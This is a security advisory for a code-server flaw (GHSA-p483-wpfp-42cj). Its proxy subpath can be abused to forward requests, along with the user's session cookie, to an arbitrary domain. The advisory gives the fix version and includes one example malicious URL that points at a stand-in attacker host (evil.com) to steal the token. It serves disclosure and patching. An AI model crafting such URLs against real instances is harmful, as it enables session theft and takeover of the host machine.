First published: Fri May 09 2025(Updated: )
### Summary A maliciously crafted URL using the `proxy` subpath can result in the attacker gaining access to the session token. ### Details Failure to properly validate the port for a `proxy` request can result in proxying to an arbitrary domain. The malicious URL `https://<code-server>/proxy/test@evil.com/path` would be proxied to `test@evil.com/path` where the attacker could exfiltrate a user's session token. ### Impact Any user who runs code-server with the built-in proxy enabled and clicks on maliciously crafted links that go to their code-server instances with reference to `/proxy`. Normally this is used to proxy local ports, however the URL can reference the attacker's domain instead, and the connection is then proxied to that domain, which will include sending cookies. With access to the session cookie, the attacker can then log into code-server and have full access to the machine hosting code-server as the user running code-server. ### Patches Patched versions are from [v4.99.4](https://github.com/coder/code-server/releases/tag/v4.99.4) onward.
Affected Software | Affected Version | How to fix |
---|---|---|
npm/code-server | <4.99.4 | 4.99.4 |
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GHSA-p483-wpfp-42cj is considered a high-severity vulnerability due to the potential for unauthorized access to session tokens.
To fix GHSA-p483-wpfp-42cj, update the code-server package to version 4.99.4 or later.
Exploiting GHSA-p483-wpfp-42cj can allow attackers to gain access to sensitive session tokens, potentially leading to more severe attacks.
Versions of code-server prior to 4.99.4 are affected by GHSA-p483-wpfp-42cj.
GHSA-p483-wpfp-42cj is considered a remote vulnerability since it can be exploited through a crafted URL.